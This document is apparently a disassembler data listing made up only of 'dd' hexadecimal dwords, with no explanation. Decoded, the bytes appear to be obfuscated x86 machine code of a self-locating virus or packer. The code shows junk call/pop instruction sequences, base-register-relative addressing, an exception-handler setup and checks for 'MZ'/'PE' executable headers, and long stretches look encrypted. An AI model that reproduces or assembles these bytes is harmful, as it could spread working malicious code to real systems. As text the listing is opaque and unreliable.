		dd 0C72824E0h, 127BA7EFh, 24048914h, 14CDEB81h,	0EB814629h
		dd 324624E5h, 870F006Ah, 2, 6ADF8Bh, 22619D8Bh,	95FF07A8h
		dd 7A81B39h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	67C35040h, 0F00E3DDFh, 99D29CFh, 5007A818h, 5B5BF550h
		dd 9A3B8D8Dh, 6A07ABh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0FF45DBC3h, 56006AD1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0C941669Eh
		dd 0BFB4C6AEh, 0BD8393BCh, 7A806A5h, 0B4850F01h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 1117C350h, 664A8BFDh, 26AFE8Bh, 6820Fh, 0BD8B0000h
		dd 7A8295Dh, 1A8A0F50h,	0E8000000h, 12h, 309640FCh, 9807E8EAh
		dd 44239F5Ch, 0F8367551h, 5F5119C8h, 2404895Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 34C35343h, 75867927h
		dd 5D4AF1C5h, 0E595FF38h, 6A07A814h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 40F8C351h
		dd 0E8B5BDB2h, 8, 91AC1B0Ch, 0BBEEBFD6h, 485BD8Bh, 0E95F07A8h
		dd 0E71h, 0E8h,	0ED815D00h, 7AD37ECh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0DCC35040h,	939133D8h, 0BD8B5162h
		dd 7A80F71h, 9195095Fh,	8B07A818h, 0A806A1BDh, 3858D07h
		dd 8B07AB8Ch, 0BB6690F9h, 0E8505866h, 0Ch, 6F0364F1h, 0CE0AE012h
		dd 31C13FCDh, 850F60h, 0F000000h, 8Dh, 905B6100h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0AAC35747h, 454EA24h
		dd 0C6AF0F19h, 6E8FBh, 0E5C60000h, 0C13481D0h, 5FDEBF0Fh
		dd 97EFEB81h, 0B70F30E0h, 35FF64F8h, 0
		dd 0B56DC3BFh, 0FD85890Bh, 6407A834h, 2589h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0AAA102C3h, 0FFE81108h, 0A80EE585h, 0D9D2B07h, 6A07A803h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 59B5FFDCh, 6A07A815h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0C380C355h
		dd 0A79217B1h, 0EE9A4h,	98E60000h, 17C968F5h, 0E8F2F51Ah
		dd 5EC5C0BFh, 0FFFE8B66h, 0A8246D95h, 10EE907h,	0BD8B0000h
		dd 7A82339h, 950900B0h,	7A810F9h, 8C0F70E6h, 6,	2F29BD89h
		dd 71E407A8h, 0A24EBF66h, 830F613Ch, 0E4h, 8219D8Bh, 0B60F07A8h
		dd 0F78052C8h, 6BA5B83h, 66000000h, 8B4018BBh, 35B589C1h
		dd 0C107A818h, 895304E8h, 0A8212D95h, 0F7665F07h, 0D9F780E2h
		dd 9D8BC82Bh, 7A8104Dh,	38B0Fh,	0BF0F0000h, 8BD18BFBh
		dd 0A828B1BDh, 96E907h,	9D890000h, 7A80B41h, 8BDF8B66h
		dd 47554C85h, 11E949h, 0A56F0000h, 0FEA14E57h, 4C68524Fh
		dd 4E647691h, 83134150h, 0BD2B07C0h, 7A81A15h, 0E900C083h
		dd 0Eh,	8AAD2FF3h, 0D9CD5B8h, 4CA05CEBh, 0D03BC3C9h, 0B830Fh
		dd 45E90000h, 89000000h, 0A82175BDh, 0FF8D8B07h, 66FFFFFFh
		dd 5476C381h, 0F01E183h, 2B84h,	6870F00h, 9000000h, 0A80EE195h
		dd 0FFA58307h, 0FEFFFFFFh, 18F0Fh, 89F50000h, 47554C95h
		dd 6DBD2349h, 0E907A828h, 0
		dd 0B216B58Dh, 4BB707ACh, 0EE8006Ah, 0D4000000h, 0A0AC1CBFh
		dd 372C1A7Ch, 711B1F9Bh, 72C38196h, 5F16F0D5h, 0D2195FFh
		dd 0ABB07A8h, 0F6C2746h, 483h, 21BB6600h, 1034B94Bh, 9D8B0000h
		dd 7A82AE9h, 12E8h, 0B9D8B200h,	2B8381F9h, 0EFFAF7CFh
		dd 0C7A2BD0h, 0FD784E0h, 835FFFB7h, 350FCE1h, 0A81861BDh
		dd 6AFC5B07h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 7C99C351h, 20EFCA5Dh, 0EE8h, 0EE943B00h
		dd 73C67742h, 0CAEF143Ch, 0F60D799h, 2B5FFABFh,	0BE9C0h
		dd 0BAFD0000h, 0C0A080C5h, 0CA810E9Ch, 0BA9Bh, 1510000h
		dd 0A828CD9Dh, 33AD5B07h, 3E8D1C2h, 4E983D0h, 6E8F475h
		dd 0AF000000h, 4DE17498h, 0D9BF0F77h, 56006A5Bh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0F8D8CB24h, 1DDDF60Ah, 8D896D88h, 7A82F29h, 880Dh, 0BE900h
		dd 0C58B0000h, 66048BB7h, 204A22DFh, 31958B18h,	6A07A817h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0EDBC353h, 0DCC45E06h, 0BBEC6A35h, 3113FC5Ch
		dd 0A598D8Bh, 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 693555C3h, 0B4CE93FDh, 8B50F927h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0C80BC1BBh
		dd 0C4E3814Eh, 832A99DBh, 0A81885BDh, 840F0007h, 6Ch, 27C18D89h
		dd 0B807A8h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0EC7CC353h,	803BEF6Bh
		dd 8D8DA2C3h, 7A84E4Dh,	4E5BD89h, 0E1FF07A8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0F2C35040h, 95B19161h
		dd 0BF666052h, 5856A7F7h, 9D035B61h, 7A81735h, 939BD83h
		dd 0F0007A8h, 4C184h, 0CE900h, 0F9970000h, 600126C7h, 0A63B0350h
		dd 0BD8348E3h, 7A80939h, 0BE840F01h, 6A000004h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0F958C353h, 94919A12h, 96978E7Ch, 1DDD9D8Bh,	0BF0F07A8h
		dd 39BD83F8h, 307A809h,	44D860Fh, 0BE90000h, 42000000h
		dd 8448F64Fh, 39B6D77Fh, 6A60B40Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 548EC351h
		dd 0D65E8858h, 870FF39Eh, 1, 2BF381FCh,	0F77A48Eh, 188h
		dd 8C66F500h, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 2C2FEC80h, 0EEB4677Ah, 4E180F5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 53C35545h
		dd 0B6DD39B7h, 7ABF66A7h, 0FC90AC0h, 17984h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0A31798A8h, 396DE772h, 858BCE4Bh, 7A80BB1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0CEC35242h, 0F609B8Ah
		dd 887h, 8D896000h, 7A81CF1h, 3352B361h, 0A8287185h, 11B58907h
		dd 5007A806h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 601CC357h, 0AD8D8Bh
		dd 0DE907A8h, 59000000h, 16A136ECh, 3EDCF751h, 90A6D696h
		dd 0F006A61h, 148Fh, 0FE900h, 94910000h, 96978E7Ch, 63CB4D0Dh
		dd 0AE7ABDE9h, 4E8B1h, 3FF0000h, 40BF001Fh, 5037D812h
		dd 12E8h, 0E106FB00h, 0EB9C8B2Fh, 82BD018Dh, 1422794Bh
		dd 502AAEA5h, 8E852h, 82E10000h, 0DA105207h, 0F5FD1AEh
		dd 5AFE8B31h, 448B5F58h, 8B0424h, 0D836BBBh, 24448943h
		dd 6A5804h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 894A2CC3h, 0A81DE9BDh, 2880F07h, 0B3000000h
		dd 3995FFE6h, 0F07A805h, 58Dh, 0BF0F5200h, 85895FF8h, 7ABBB2Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FC35646h
		dd 9D8B56CFh, 7A81009h,	198E95Bh, 0BB660000h, 858BC973h
		dd 7ABBB23h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	80C35242h, 0C07A279Fh, 0C7D8B70Fh, 1800h, 8B5B5600h
		dd 0ABBB27B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 8678E8Ch, 18820FA4h, 0E8000000h
		dd 0Ch,	0A4D897B0h, 73C5BFD3h, 0CDD10A65h, 3205B529h, 8B5B07A8h
		dd 0A80CCD85h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 6A06893Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0CB78C356h
		dd 7CFDC8ECh, 0B2FA50C1h, 2195BD8Bh, 858B07A8h,	7A80BB1h
		dd 5E9h, 32696000h, 4689DAFEh, 50006A04h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 50DE8B3Dh
		dd 8E856h, 0C660000h, 0D0A030ACh, 0AE8FF32h, 62000000h
		dd 1C4D44CFh, 0DA477B9Ah, 5F5B5B4Bh, 0F243489h,	0B5FFDFB7h
		dd 7ABBB23h, 0F294C781h, 0B8683935h, 0E8B37A75h, 0Dh, 9A036174h
		dd 0BF7F5CF8h, 0B0EA28D1h, 68A0F80h, 0F000000h,	8Ch, 4815B00h
		dd 0A48E4724h, 57006A4Ch, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 6D7F9AE8h, 0BB2B858Dh
		dd 0BD8907ABh, 7A8197Dh, 89DE8A50h, 9D8B2404h, 7A80E1Dh
		dd 53995FFh, 0B35007A8h, 6A615F9Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8B3CC352h
		dd 0A833919Dh, 3985C707h, 307A809h, 89000000h, 0A8310D8Dh
		dd 2BBD8307h, 7ABBBh, 61840Fh, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 44BBA0C3h
		dd 0E97F77F0h, 56h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 12C35343h, 6E5B0F85h,	14E979A9h, 2000000h
		dd 0B1D28087h, 0A8DA9290h, 0A9BE38FFh, 0D051F969h, 50F707DDh
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 9D141AC3h, 4830Fh, 0BB660000h, 850F99D3h
		dd 3, 83FB8B66h, 0A80939BDh, 850F0307h,	471h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 7DC35343h, 8B1EBCDCh
		dd 0BF0F023Dh, 0D9BD8BD9h, 8307A827h, 0ABBB2BBDh, 840F0007h
		dd 439h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0BAC35242h, 1F202785h, 6695F1B6h, 50525EBFh, 2BB5FF5Bh
		dd 0FF07ABBBh, 0A8247595h, 599D2B07h, 8B07A824h, 0ABBB1FB5h
		dd 8BF98A07h, 106C7D9h,	6A000100h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 8CA3C350h
		dd 97B2E381h, 0F96552Ch, 282h, 50F88B00h
		dd 6A96DF8Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0ACBAC355h, 0E8692826h, 8, 4BDE59EAh
		dd 0CBA69315h, 2AAC14BFh, 8D315B17h, 7A83311h, 0BB2BB5FFh
		dd 6A07ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 92B15C3h,	34F7B93Eh, 66C8A42Fh, 0FFF5F88Bh
		dd 0A823E595h, 6DBD2B07h, 8B07A828h, 0ABBB1FB5h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 377088DAh, 757CF1FFh, 0F88B6673h, 2941858Bh,	9D8B07A8h
		dd 7A81BD9h, 0C48689h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0F8051CC3h, 6E0BEB1h
		dd 0BF0FC7C8h, 10E9DFh,	0C1AC0000h, 0AC5723E0h,	15C8944Dh
		dd 57B3C8F2h, 8D29D2FCh, 7A82235h, 1731958Bh, 0C28307A8h
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 4BB669BCh, 8D89AEADh, 7A819E5h, 6A205089h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0C177C355h, 2B677739h, 0BF667373h, 858DAC16h
		dd 7ABCFC1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0C6C35141h, 0F82122D4h,	0F7814FBFh, 0B886895Eh
		dd 6A000000h, 4D8D3100h, 0FF07A81Dh, 0ABBB2BB5h, 0DEB70F07h
		dd 14E595FFh, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 2C9ED9C3h, 22519D89h, 8D8907A8h
		dd 7A82FE1h, 7E996h, 747E0000h,	14A014FFh, 6A9650A3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8907C351h, 0A82649BDh, 0FFF88B07h, 0ABBB2BB5h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 41CB3B16h, 0BC59D03h, 95FF07A8h, 7A81D09h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 79C35242h, 0E9E50E98h
		dd 10h,	0D8B31B91h, 0E8EEDAD0h,	77C700ABh, 73B01335h, 1DFDBD83h
		dd 0F0007A8h, 3184h, 49BD8B00h,	5007A803h, 3143BF66h, 6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0EEB3C355h, 0EC99D89h, 0B5FF07A8h, 7ABBB2Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 6EC35646h
		dd 9D29C4B0h, 7A800E1h,	0E8EF8166h, 0D595FFE6h,	6A07A810h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 5538C355h, 2BB5FFCBh, 6A07ABBBh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 2349C356h, 0B501554Eh, 2A6AA34Fh, 870Fh, 95FF0000h
		dd 7A80B39h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	15C35040h, 0B0CF8166h, 0F5BD8378h, 207A831h, 59840Fh
		dd 0C7810000h, 5D59A3B2h, 2981858Bh, 6A07A8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 6739D1C3h
		dd 11E8AD4Dh, 3C000000h, 0C5D26CFFh, 0DBED9E28h, 7EED3E5h
		dd 0C060914Eh, 0D8B9F381h, 0C65B61CAh, 66520000h, 0F256DF81h
		dd 73CF815Bh, 0C73EF4A5h, 0A821C985h, 7, 0A1958900h, 8907A81Ch
		dd 0A82FE1BDh, 0F2C5E907h, 6AFFFFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 328CFAC3h
		dd 0B54274E3h, 8E82C42h, 0
		dd 0EADE561Fh, 5F74DA96h, 0B589F960h, 7A82D71h,	89C18B61h
		dd 0A80BCD85h, 5000BA07h, 0EA81F011h, 0F0000000h, 8914C283h
		dd 0A80EF995h, 14EA8307h, 46FE858Dh, 645007ADh,	35FFh
		dd 89640000h, 25h, 0E800h, 2B580000h, 0F00025C2h, 8166FFFFh
		dd 0F5A4D38h, 1285h, 50B70F00h,	81D0033Ch, 45503Ah, 0A840F00h
		dd 2D000000h, 1000h, 0FFFFD9E9h, 89C88BFFh, 0A8268185h
		dd 3C400307h, 650B70Fh,	292D9589h, 508B07A8h, 9D958950h
		dd 507A833h, 0F8h, 30C508Bh, 9D9589D1h,	307A822h, 95890850h
		dd 7A82771h, 58F64h, 83000000h,	13E904C4h, 51000000h, 10244C8Bh
		dd 0B0A981h, 10000000h,	33590000h, 0BD83C3C0h, 7A807CDh
		dd 24840F00h, 0C6000000h, 0A8061985h, 0D2684707h, 0FFD49AA7h
		dd 0A80CE1B5h, 1A858D07h, 0FF07AB78h, 0FF006AD0h, 8D8589D0h
		dd 8B07A810h, 5E8D3h, 36B10000h, 0B7F11D5Ch, 870F5EB4h
		dd 3, 81F88B66h, 6E21C6h, 0F8BF0F00h, 0D16777B9h, 2DE98179h
		dd 0E879D14Ch, 0Dh, 4D765882h, 2A41A9C6h, 0F620C8D9h, 12E82Bh
		dd 450B0000h, 0D5CBDF45h, 0A55154CDh, 4637899h,	6C97B4FEh
		dd 5BD7B70Fh, 60068B5Fh, 0C8C0Fh, 6E80000h, 8F000000h
		dd 9B656A04h, 0BF665915h, 81618535h, 4AAC59E8h,	0FFBF0F74h
		dd 0F450C081h, 830F1F39h, 5, 0FFDB8166h, 22E88170h, 6001BA0Bh
		dd 0FE9h, 0ADA52D00h, 1B6AFAD8h, 0F2978AD2h, 6FEAA1C2h
		dd 1B84D081h, 89612E04h, 4EE8306h, 2870Fh, 35B30000h, 1A850F49h
		dd 0F000000h, 684h, 0F6C38100h,	0E908BBA0h, 2Fh, 0DCB67081h
		dd 98A1E04Fh, 10E8E6h, 93290000h, 0B75A47Ah, 699BB7Dh
		dd 26EEF067h, 0BF0F540Ah, 5EE95FD9h, 8FFFFFFh, 0F23D3B50h
		dd 8DC202A0h, 0AD49178Dh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 7F1EC877h
		dd 359D29C1h, 8907A830h, 0A817318Dh, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BB66DB64h
		dd 85C7C345h, 7A80A59h,	6F28h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 24C35646h, 0FC587BDh, 683h
		dd 7DBD8900h, 0C707A815h, 0A8093985h, 7, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0C1833724h, 0F9F8BE0Dh, 1479B5FFh, 850307A8h, 7A81E6Dh
		dd 1A9995FFh, 8B6607A8h, 0FF006AFEh, 0A80D2195h, 0EBC08B07h
		dd 0F92BE56Ch, 7FF55973h, 3220E41Eh, 62A0122Fh,	481EBBDCh
		dd 24E29B3Ch, 620020A2h, 0EDC35C7Ch, 828322AEh,	1343C161h
		dd 80CB6C66h, 14EB8576h, 38B29D4Ch, 77DEAD7Bh, 82333372h
		dd 97EF7731h, 97B5D9C1h, 0DBCF5F87h, 875E5B1Fh,	74CF122Ch
		dd 6DF4731Eh, 25277018h, 84467F6Dh, 0A15F59EDh,	0D4E15D5Dh
		dd 0B56EAFE7h, 0C5458B06h, 6C8D8D81h, 6607AD4Ah, 0BF77BCBEh
		dd 62F12E76h, 17318D89h, 8D8907A8h, 7A809D1h, 0A5985C7h
		dd 656807A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0D2E350C3h, 0D338DA82h, 0EEA8166h
		dd 3985C737h, 7A809h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0B94CC352h,	61257305h
		dd 14E85342h, 0
		dd 3E64669Bh, 216CC4EEh, 0C4BDFBA2h, 0FCA92B75h, 667ECF3Ch
		dd 5F5FC78Bh, 0DE59D8Bh, 9D2907A8h, 7A81CA9h, 8B1B5FFh
		dd 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0BBF865C3h, 18437A50h, 1A9995FFh,	0B52B07A8h
		dd 7A80621h, 6B98D31h, 6A07A8h,	0D2195FFh, 0C08B07A8h
		dd 78AE1EEBh, 162E065Eh, 8DAF1CB0h, 0F0E81D7Dh,	0BA65E319h
		dd 0C4F3C09Dh, 5C9C8E53h, 754B7EE3h, 4B858D8Dh,	6A07ADh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 1D4593C3h, 14E99D8Bh, 8D8907A8h, 7A81731h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 4BC35242h, 0C61C3944h
		dd 57F4809Ah, 0A5985C7h, 67F407A8h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B14EDC3h
		dd 0A81A0185h, 3985C707h, 7A809h, 0F000000h, 688h, 0A9958900h
		dd 0FF07A81Ch, 0A81479B5h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 18CABF01h
		dd 95FF04FDh, 7A81A99h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 12C35646h, 0C23E7A8h,	3CE1B55Bh, 0ED8589E2h
		dd 6A07A831h, 2195FF00h, 8B07A80Dh, 0E46CEBC0h,	1541FA49h
		dd 38198781h, 88F9BE88h, 7C28C3A9h, 0EF97ED42h,	295335B7h
		dd 0DF32F05Bh, 0A7E2441Eh, 0C44B9F34h, 30CCE76Bh, 1E502580h
		dd 0DEAC3277h, 4BE35760h, 0A7D64958h, 4CAD028h,	0E50B9D47h
		dd 639FE03h, 0B1BD9607h, 0DF793EC9h, 4D96D75Fh,	0CB137666h
		dd 9923A279h, 0B95EF55Eh, 2FB300D7h, 2C6762EDh,	0F32F99F2h
		dd 8DA7D505h, 0AD4CB88Dh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 64E622Ah, 9D93BA9Eh
		dd 0B8662219h, 8D89E3F6h, 7A81731h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 79C35343h, 9D5F2549h, 0E568F153h
		dd 0C7C1BF0Fh, 0A80A5985h, 6FF407h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 298509B9h
		dd 0C707A804h, 0A8093985h, 7, 3F0DBA00h, 85311D44h, 7A82E6Dh
		dd 5FDB5FFh, 9D8B07A8h,	7A81521h, 1A9995FFh, 9D3107A8h
		dd 7A82769h, 28F9B589h,	6A07A8h, 0D2195FFh, 0C08B07A8h
		dd 0B17D5BEBh, 86FE4689h, 0C6F273FCh, 0CCCEDB80h, 0B25B43C9h
		dd 4432DF36h, 52C62406h, 95F5CF99h, 0AFB16B2Eh,	61EDFC08h
		dd 0B4A57A7Ah, 0A88248D4h, 1894DDF7h, 0D6D36D31h, 5FA69FB9h
		dd 24A71294h, 0C2E97E91h, 9DAA44A6h, 0DECE9DB0h, 0CD064FD2h
		dd 47105587h, 3AE37819h, 0AD59BB3Dh, 712ADE84h,	4B46D4D4h
		dd 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h
		dd 202AEF5Eh, 4E603230h, 0A5E4FFB4h, 2AD2F867h,	0A3BEA130h
		dd 21982B82h, 0A3BA7967h, 219BE715h, 21FED71Bh,	29333230h
		dd 2633831Dh, 0EB6C098h, 76340BD5h, 6B29D615h, 0D963AE35h
		dd 8E00590Dh, 2664839Fh, 23593598h, 6B191F15h, 0AB634A35h
		dd 8B7EBC1Dh, 0B3CC039Fh, 219BB3F9h, 0A23C1493h, 26336AA1h
		dd 6B19B015h, 0CE639D35h, 26334DAAh, 0A3BEF6D8h, 219E1EA8h
		dd 0CB624C8h, 763479D5h, 972FF67h, 0E2B03230h, 0CB61794h
		dd 7634E0D5h, 6B292315h, 0D9635435h, 8E00240Dh,	26513D9Fh
		dd 0AD666A98h, 74646474h, 2E4E11CEh, 24DA8DABh,	6633A698h
		dd 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h
		dd 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h
		dd 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h
		dd 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h
		dd 6B2B8815h, 0ABBE9D35h, 219E03D5h, 9320h, 0E7FC7800h
		dd 7310271h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h,	4E4DB58Dh
		dd 8D8D07ADh, 7AD4E6Ch,	0E983CF2Bh, 0E9C88B05h,	0Eh, 6B15AE24h
		dd 2 dup(0)
		dd 50E90000h, 41000005h, 89728790h, 0CEB7CCCBh,	0FF80D0Ah
		dd 4E374C4Bh, 6573888Fh, 85924164h, 0C7D08770h,	0B0CC9B2h
		dd 4A4D0DF6h, 70B65535h, 0CBAC223Ah, 0C7F8A640h, 0B8350017h
		dd 0B005F2E5h, 0D5B3A477h, 0D359709Fh, 16C4D382h, 0E7D0F70Fh
		dd 0D8552037h, 0C9461106h, 0ED410C0Bh, 26F887F2h, 66331C31h
		dd 0A6735C71h, 0AE69E6B1h, 0B663DEA9h, 0F81FBC4Bh, 3F58FAE3h
		dd 5D7A1952h, 0D0ADC592h, 59700D46h, 0E550E7D3h, 0A8017139h
		dd 67C81Bh, 8BAD0000h, 0BCBBF3F3h, 1F051D66h, 350017C7h
		dd 597073ABh, 99D24DD3h, 0A5C0D8FFh, 1C48E3Ah, 13A1BA8h
		dd 0E2A4255h, 1, 215C70Ch, 4D1ABA37h, 0F5C28D8Ah, 0CE8C09D4h
		dd 935E7919h, 2F504716h, 10EF430Eh, 0F81007D7h,	31E372DDh
		dd 0D30C1126h, 0A1B66601h, 6338B580h, 0BBDCA974h, 491EC0A3h
		dd 54698A8Dh, 314C768h,	797D9F38h, 0F0A84113h, 4E0EF109h
		dd 0A0B97E49h, 0E0F7A635h, 0C88DC6CBh, 1F3704CFh, 9CD9A3Ch
		dd 5576430Eh, 97CD1368h, 9DD3587Fh, 2D63A996h, 33D3587Fh
		dd 0BA37142Ch, 8E89491Eh, 819646C3h, 0A7C8E9B6h, 137E97DCh
		dd 0A70E5367h, 68AE031Bh, 0D3587532h, 8C574015h, 0A27111BFh
		dd 419D6A61h, 4E0CDDFEh, 0B9153149h, 0FA000000h, 3A0512C1h
		dd 33FE19BDh, 472D4566h, 380314C7h, 0A4B3669Fh,	0E8EFA98Ch
		dd 0DAFDA01Dh, 22C5920Fh, 0CA976275h, 0D247DEA9h, 0E5E08867h
		dd 7F28EB7Ah, 2BE9BADDh, 0DF60B2Ch, 5B9CB04Eh, 0C1281064h
		dd 0BFE00116h, 0B4A377F4h, 208BA4E9h, 0A7454E74h, 88F31Bh
		dd 0ABF10000h, 70DA1056h, 0D9E0D359h, 7070A6ECh, 6F76D359h
		dd 0EAA17457h, 59706EA4h, 4C6D74D3h, 6CC6E881h,	324A3492h
		dd 0EBB093ABh, 64AAFFECh, 0D358C12Eh, 38152D34h, 2FFA1DBBh
		dd 26F1E6B2h, 0C111478Dh, 1017D358h, 9473DEF7h,	0DC902F7h
		dd 7C9DBA5Ah, 0C113498Fh, 1219D358h, 0E574DFFAh, 200C2136h
		dd 370215C7h, 0A4B3659Eh, 70639C8Ch, 0A63DD359h, 1DB8F3Bh
		dd 0B1E1BA8h, 3000000h,	643268AEh, 3138D359h, 11C73319h
		dd 1CBE3B06h, 3FDE894Bh, 5F2CF718h, 4BF8733Eh, 908751E0h
		dd 0F744D17Bh, 0BC7480ACh, 0FFC1DF2h, 4C1700D6h, 2268677Fh
		dd 0DB009541h, 0F8754047h, 0EF443126h, 9573A9h,	0CED979DBh
		dd 4D8D9681h, 8EB5CDEEh, 8B8C5089h, 0C9CE9073h,	0E4F3A3DCh
		dd 2D65EFCCh, 44DB00DCh, 9939C833h, 4264697Eh, 28321BBh
		dd 0C3926338h, 243C09D4h, 0BB869141h, 0B07B9C3Eh, 0D867D2EBh
		dd 0F6FC1106h, 0E3F0ABBCh, 15285h, 64316A00h, 0C3DBA873h
		dd 0A372ABDDh, 1FF89CB4h, 0C768FF1Eh, 2849E8E8h, 0A500F53Bh
